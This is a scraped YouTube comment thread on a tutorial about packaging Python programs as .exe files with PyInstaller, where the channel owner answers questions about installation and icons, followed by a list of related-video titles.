@ILCGyangcczmyiyan 2 жыл бұрын
but how I uninstall it?
@lemastertech
@lemastertech 2 жыл бұрын
Uninstall what? If you turn your program into an exe you still have the original program!
@friendly_dude
@friendly_dude Жыл бұрын
The pip install pyinstaller dident work
@lemastertech
@lemastertech Жыл бұрын
To install PyInstaller: Go to your command prompt (Start -> Run -> cmd) type the following command cd c:\python27\scripts press enter, this should be where your pip.exe file is located. Once you are in this directory type pip install pyinstaller press enter Message should read Successfully installed pyinstaller.
@aticcorp2015
@aticcorp2015 Жыл бұрын
how to make icon program?
@lemastertech
@lemastertech Жыл бұрын
Do you just mean how to make an executable file that you can modify the icon image for? Like on the desktop have it show up with an icon?
@aticcorp2015
@aticcorp2015 Жыл бұрын
@@lemastertech yes but i need changed
@lemastertech
@lemastertech Жыл бұрын
@@aticcorp2015 1- Create or download an . ico file. 2 -Right-click the desktop. 3 - Click New and then Shortcut. 4 - Browse for the .exe and click OK. 5 - Name the file and click Finish. 6 - Right-click the shortcut. 7 - Click Properties. 8 - Click Change Icon and select the new icon
@aticcorp2015
@aticcorp2015 Жыл бұрын
@@lemastertech ok thx
@faleshacooper1939
@faleshacooper1939 9 ай бұрын
vs code is best😘
@lemastertech
@lemastertech 9 ай бұрын
I actually really like the pycharm IDE but vs code is good for sure! very powerful!
@Felix_the_wolf4
@Felix_the_wolf4 2 ай бұрын
It doesn't work
@lemastertech
@lemastertech Ай бұрын
Kind of hard to help with that super vague description tbh
@NS-gr9cy
@NS-gr9cy Ай бұрын
Half knowledge can be dangerous. Try sending the same .exe and image to someone else and they will not be able to run it.
@lemastertech
@lemastertech Ай бұрын
Quarter knowledge even more dangerous, one eight knowledge perhaps the most dangerous
@NS-gr9cy
@NS-gr9cy Ай бұрын
@@lemastertech Don't argue.. try taking a look at how data files are bundled with pyinstaller and what changes you need to make to the paths so that those files are located at the end when you only run the .exe
@Kingmaster-n4b
@Kingmaster-n4b Ай бұрын
HEY FIX YOUR INTERNET
@lemastertech
@lemastertech Ай бұрын
No u
@ahmadbodayr7203
@ahmadbodayr7203 Жыл бұрын
Read About Islam man❤
@lemastertech
@lemastertech Жыл бұрын
Thanks for the tip - although Interesting decision to leave such a comment on a KZfaq video about creating python executables!
@ahmadbodayr7203
@ahmadbodayr7203 Жыл бұрын
@@lemastertech talking to people about their creator for me is anywhere anytime as this is my purpose of life making my creator happy of me i have nothing else, and great vid by the way although having some issues as my applications contains mediapipe tf and opencv 🤝
@friendly_dude
@friendly_dude Жыл бұрын
Are you able to make a vid or not?
@lemastertech
@lemastertech Жыл бұрын
I’m not going to make an entire video dedicated to one minor issue from an extremely rude KZfaq commenter. I try very hard to be helpful in the KZfaq comments and your entire attitude is terrible and I will not hesitate to block you from commenting on my channel if you don’t improve how you act quickly
@friendly_dude
@friendly_dude Жыл бұрын
It dident work
@lemastertech
@lemastertech Жыл бұрын
How am I supposed to help you or anyone else on KZfaq in the comments if you don’t give us any details of what error you’re seeing or what part didn’t work?
Using Excel .xlsx files with Python! OpenPyXl Tutorial
7:23
LeMaster Tech
Рет қаралды 65 М.
How Hackers Write Malware & Evade Antivirus (Nim)
24:04
John Hammond
Рет қаралды 395 М.
Stay on your way 🛤️✨
00:34
A4
Рет қаралды 30 МЛН
What is the Smallest Possible .EXE?
17:57
Inkbox
Рет қаралды 351 М.
What's inside a .EXE File?
8:27
Inkbox
Рет қаралды 421 М.
Convert GUI App to Real Program -  Python to exe to setup wizard
23:27
Python Simplified
Рет қаралды 508 М.
5 Good Python Habits
17:35
Indently
Рет қаралды 485 М.
A Competition for Unreadable Code?
12:33
LaurieWired
Рет қаралды 160 М.
Can I Run Youtube Entirely From My Terminal? (No Browser)
15:31
Convert Tkinter Python App to Executable (.Exe) File [pyinstaller]
9:11
Code First with Hala
Рет қаралды 141 М.
This is perhaps my favorite password manager for the terminal
11:10
Dreams of Code
Рет қаралды 153 М.
15 Python Libraries You Should Know About
14:54
ArjanCodes
Рет қаралды 381 М.
Новые iPhone 16 и 16 Pro Max
0:42
Romancev768
Рет қаралды 2,5 МЛН
Samsung Galaxy S24 Ultra Vs Iphone 15 Pro Max
0:56
Roanet Tech
Рет қаралды 5 МЛН
Это iPhone 16
0:52
Wylsacom
Рет қаралды 2,9 МЛН
Что делать если в телефон попала вода?
0:17
Лена Тропоцел
Рет қаралды 4 МЛН
Что за "голый" Андройд? #pixel #android
0:40
Не шарю!
Рет қаралды 520 М.
Опасность фирменной зарядки Apple
0:57
SuperCrastan
Рет қаралды 12 МЛН